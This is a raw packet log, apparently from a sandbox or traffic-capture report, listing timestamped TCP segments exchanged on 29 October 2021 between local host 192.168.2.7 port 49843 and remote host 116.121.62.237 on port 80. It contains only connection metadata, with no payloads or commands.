Oct 29, 2021 15:31:05.777558088 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.777575970 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.777585983 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.777611971 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.777635098 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.777635098 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.777662039 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.777681112 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.777684927 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.777709961 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.777734995 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.777753115 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.777761936 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.777787924 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.777795076 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.777816057 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.777836084 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.777842045 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.777869940 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.777893066 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.777903080 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.777918100 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.777940989 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.777945042 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.777971983 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.777985096 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.777997017 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778022051 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778043985 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778064013 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.778069019 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778095007 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778101921 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.778115988 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778141022 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778151989 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.778167963 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778192043 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778208971 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.778219938 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778244972 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778244972 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.778270960 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778296947 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.778296947 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778321981 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778347969 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778367996 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.778373003 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778399944 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778403997 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.778425932 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778489113 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.778496027 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778522015 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778547049 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778573990 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778584957 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.778601885 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778609991 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.778628111 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778654099 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.778654099 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778682947 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778695107 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.778707981 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778733969 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778759003 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778759956 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.778788090 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778810024 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778815031 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.778836012 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778862000 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778867960 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.778889894 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778914928 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778938055 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.778939009 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778965950 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.778969049 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.778991938 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779002905 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779017925 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779042959 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779066086 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779067993 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779094934 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779109001 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779120922 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779145956 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779177904 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779202938 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779206038 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779231071 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779252052 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779253960 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779278040 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779279947 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779305935 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779306889 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779330969 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779333115 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779356003 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779359102 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779381990 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779383898 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779407024 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779407978 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779433966 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779436111 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779460907 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779462099 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779489040 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779489994 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779514074 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779517889 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779539108 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779548883 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779565096 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779568911 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779588938 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779596090 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779616117 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779619932 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779642105 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779668093 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779675007 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779694080 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779717922 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779720068 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779743910 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779745102 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779771090 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.779781103 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779805899 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.779831886 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.780299902 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.963841915 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.963881016 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.963912964 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.963948965 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.963995934 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.964003086 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.964027882 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.964051962 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.964071035 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.964076996 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.964098930 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.964119911 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.964128971 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.964150906 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.964179993 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.978583097 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.978622913 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.978646040 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.978669882 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.978678942 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.978696108 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.978719950 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.978724957 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.978740931 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.978760004 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.978780031 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.978799105 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.978817940 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.978842974 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.978861094 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.978868961 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.978892088 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.978894949 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.978912115 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.978920937 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.978944063 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.978945971 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.978961945 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.978972912 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.978996038 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.978997946 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.979017019 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.979022980 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.979047060 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.979047060 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.979063034 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.979074001 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.979090929 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.979099035 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.979121923 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.979127884 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.979146004 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.979149103 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.979166985 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.979167938 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.979192019 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.979192972 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.979207039 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.979216099 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.979238033 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.979240894 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.979263067 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.979264021 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.979281902 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.979288101 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.979310036 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.979311943 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.979327917 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.979337931 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.979361057 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.979363918 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.979384899 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.979387999 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.979408026 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.979413033 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.979424000 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:05.979444027 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:05.979495049 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.051450014 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.051490068 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.051513910 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.051537991 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.051553011 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.051562071 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.051589012 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.051614046 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.051619053 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.051639080 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.051642895 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.051675081 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.051681042 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.051698923 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.051702023 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.051721096 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.051722050 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.051738977 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.051744938 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.051763058 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.051769018 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.051785946 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.051794052 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.051811934 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.051816940 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.051831961 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.051839113 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.051862001 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.051862001 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.051887989 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.051887989 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.051898003 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.051908970 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.051939964 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.051944971 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.051966906 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.051985979 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.052283049 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.052309036 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.052331924 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.052331924 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.052352905 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.052401066 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.062866926 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.062900066 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.062927008 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.062956095 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.062980890 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063000917 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063014030 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063030005 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063050985 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063087940 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063087940 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063127041 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063152075 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063172102 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063177109 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063201904 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063220978 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063226938 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063244104 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063251972 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063275099 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063281059 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063297033 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063308001 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063323021 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063337088 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063348055 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063363075 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063373089 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063386917 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063396931 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063411951 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063427925 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063445091 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063446999 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063469887 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063496113 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063498974 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063515902 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063522100 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063543081 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063569069 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063575029 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063580990 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063591003 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063596010 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063611031 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063618898 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063636065 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063643932 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063673019 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063687086 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063695908 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063709974 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063733101 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063735008 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063750029 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063755989 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063774109 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063780069 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063796043 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063803911 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063828945 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063852072 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063857079 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063874960 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063894987 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063898087 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063909054 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063921928 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.063941956 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.063952923 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.236109018 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.236172915 CEST	80	49843	116.121.62.237	192.168.2.7
